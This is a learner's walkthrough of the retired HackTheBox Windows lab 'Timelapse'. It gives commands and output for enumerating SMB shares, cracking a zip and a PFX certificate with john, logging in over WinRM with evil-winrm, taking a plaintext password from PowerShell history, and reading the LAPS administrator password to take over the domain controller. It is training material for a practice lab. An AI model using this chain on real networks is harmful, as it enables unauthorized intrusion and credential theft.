HackTheBox: Timelapse

01/13/2024

This is another one of the retired easy boxes that they're making free for a month. Since I have limited time I figured I would just do this one and follow the writeup the entire way through to get it done in a couple hours.

THIS IS A WINDOWS MACHINE! I don't do these often, and don't know shit about privilege escalation in Windows.

Enumeration

First tried full port scan with scripts and version enumeration using the standard

nmap -p- -sC -sV 10.10.11.152

but this returned the message

Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn

It does work with sudo, though:

sudo nmap -p- -sC -sV 10.10.11.152

==I forget exactly why it works with sudo but not otherwise. I know with sudo it doesn't have to complete the three-way TCP handshake, but it must be doing something in addition to that, right? I dont see why not finishing the handshake would cause the target to suddenly respond... Look it up==

We have an absolutely rediculous number of ports open: 1) 53: DNS 2) 88: Kerberos-sec 3) 135: msrpc 4) 139: NETBIOS-ssn 5) 389: LDAP 6) 445: microsoft-ds? 7) 464: kpasswd5? 8) 593: ncacnhttp 9) 636: ldapssl 10) 3268: ldap 11) 3269: globalcatLDAPssl 12) 5986: sslp/http 13) 9389: mc-nmf 14) 49667: msrpc 15) 49673: ncacnhttp 16) 49674: msrpc 17) 49696: msrpc 18) 57189: msrpc

Jesus christ. At this point, due to limited time, Im just going to be following the writeup the entire way. Basically a freebie. Ill still be taking notes here though.

From the nmap scan we see the ==host name is DC01.==

SMB

The SMB server allows us to enumerate shares without credentials using

smbclient -L 10.10.11.152

Of these, three shares allow us anonymous access: 1) Shares 2) SYSVOL 3) NETLOGON

NETLOGON and SYSVOL give us permission denied when running ls.

'Shares,' however, allows us to view its contents. It has 2 directories, "Dev" and "HelpDesk."

Dev has a single file, "winrmbackup.zip". HelpDesk has a few files all starting with "LAPS". I downloaded all of them, but the "winrm_backup.zip" looks like the obvious place to start.

The password-protected zip file

When I try to unzip the ZIP file obtained from the SMB share, I'm prompted for a password. This may be easy to crack. First we run it through zip2john (==what exactly does this do?==) to format it in a way that john can crack, then we run john on it to crack it. If we obtain a password, we can unzip it.

$ unzip winrm_backup.zip
Archive:  winrm_backup.zip
[winrm_backup.zip] legacyy_dev_auth.pfx password: 

$ zip2john winrm_backup.zip >> unzippedzip

$ john unzippedzip --wordlist=$ROCK
<SNIP>
supremelegacy    (winrm_backup.zip/legacyy_dev_auth.pfx) 
</SNIP>

$ unzip winrm_backup.zip                  
Archive:  winrm_backup.zip
[winrm_backup.zip] legacyy_dev_auth.pfx password: (supremelegacy)

($ROCK is just the path to rockyou.txt. Its an environment variable I set in .bashrc because I use it so often)

The inflated zip archive contained a file called legacyy_dev_auth.pfx, which file identifies simply as 'data'. There is no printable-character header in the file when examined with hexdump -C. Assumedly this is some kind of auth key, but I need to look up what the .pfx file extension is for.

The .pfx file and gaining remote access

Apparently .pfx files are "Personal Information Exchange" data, which is a "password protected file certificate commonly used for code signing your application". Okay.

According to the writeup, "The output is a PFX file which contains an SSL certificate in PKCS#12 format and a private key. PFX files can be used by WinRM in order to login without a password. Let's extract them from the file." (==How did they know what the file contained and what the format was? Is it just standard for pfx files?==)

$ openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out key.pem -nodes
Enter Import Password: (supremelegacy)
Mac verify error: invalid password?

So we need a different password than the one found earlier. John has a utility called pfx2john which can be used to convert the pfx file into a hash format that john can crack:

$ pfx2john legacyy_dev_auth.pfx >> pfxhash

$ john pfxhash --wordlist=$ROCK
<SNIP>
thuglegacy       (legacyy_dev_auth.pfx)  
</SNIP>

Nice... "thuglegacy". Questionable choice, but we have it. Now we can extract the ssl cert from the file as we tried to do earlier...

We also have to extract the cert itself:

$ openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out cert.pem       
Enter Import Password: thuglegacy

...beautiful. Now we have a private key and cert, hopefully we can sign into the winrm service with it.

Gaining remote access through WinRM

According to the writeup, port 5986 is often used by WinRM but with SSL rather than unencrypted connection.

Evil-WinRM allows us to pass keys and certs with the -k and -c flags, so we can pass the creds we obtained and hopefully get passwordless access:

$ evil-winrm -i 10.10.11.152 -c cert.pem -k key.pem -S

*Evil-WinRM* PS C:\Users\legacyy\Documents> whoami
timelapse\legacyy

(Note: The -S flag specifies to use SSL)

Great, we're in.

The first step the writeup takes is to view the user's command history in the "ConsoleHosthistory.txt" file, which is like the Windows equivalent of .bashhistory in linux:

*Evil-WinRM* PS C:\Users\legacyy\Documents> type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -
SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit

It looks to me, without really knowing the windows commands here, that the above commands are setting some system password to be "E3R$Q62^12p7PLlC%KWaxuaV".

Yep, I was right. Its creating a WinRM user "svc_deploy" on port 5986 (the SSL WinRM port) with password "E3R$Q62^12p7PLlC%KWaxuaV". We can take these creds and sign in as that user:

$ evil-winrm -i 10.10.11.152 -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S

*Evil-WinRM* PS C:\Users\svc_deploy\Documents> whoami
timelapse\svc_deploy

Now we check what groups this user is part of (this is basically what you would do as soon as you get a new user shell in Linux priv esc too):

*Evil-WinRM* PS C:\Users\svc_deploy\Documents> net user svc_deploy

<SNIP>
Local Group Memberships      *Remote Management Use
Global Group memberships     *LAPS_Readers         *Domain Users
</SNIP>

The writeup singles out the LAPS_Readers group as being important. LAPS stands for "Local Administration Password Solution" and is used to manage local account passwords of Active Directory computers.

We can use a PowerShell module to retrieve this password from GitHub and upload it through WinRM. The GitHub repo is here: (https://github.com/ztrhgf/LAPS/tree/master/AdmPwd.PS)

After downloading the repo and moving it to the current working directory of the shell session running evil-winrm on your local machine, you can upload the powershell code directory to the target using evil-winrm:

*Evil-WinRM* PS C:\Users\svc_deploy\Documents> upload AdmPwd.PS

...

Info: Upload successful!

However, I wasnt able to run the next command in the writeup. I kept getting a CommandNotFound error and was not sure how to troubleshoot it. I switched to a writeup by 0xdf which went a different route, and (from what I can tell) queries the Domain Controller for the admin passwords. This is possible because the system uses LAPS, which stores admin passwords in the domain controller and lets users in the LAPS group read those passwords.

*Evil-WinRM* PS C:\Users\svc_deploy\Documents> Get-ADComputer DC01 -property 'ms-mcs-admpwd'

DistinguishedName : CN=DC01,OU=Domain Controllers,DC=timelapse,DC=htb
DNSHostName       : dc01.timelapse.htb
Enabled           : True
ms-mcs-admpwd     : K.+GU,7G]Uc6%w]3][Xo9A1,
Name              : DC01
ObjectClass       : computer
ObjectGUID        : 6e10b102-6936-41aa-bb98-bed624c9b98f
SamAccountName    : DC01$
SID               : S-1-5-21-671920749-559770252-3318990721-1000
UserPrincipalName :

So we can see that the admin password appears to be ''K.+GU,7G]Uc6%w]3][Xo9A1,"

Next, I assume we try logging in to WinRM as admin with this password?

Yep:

$ evil-winrm -i 10.10.11.152 -u administrator -p 'K.+GU,7G]Uc6%w]3][Xo9A1,' -S

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
timelapse\administrator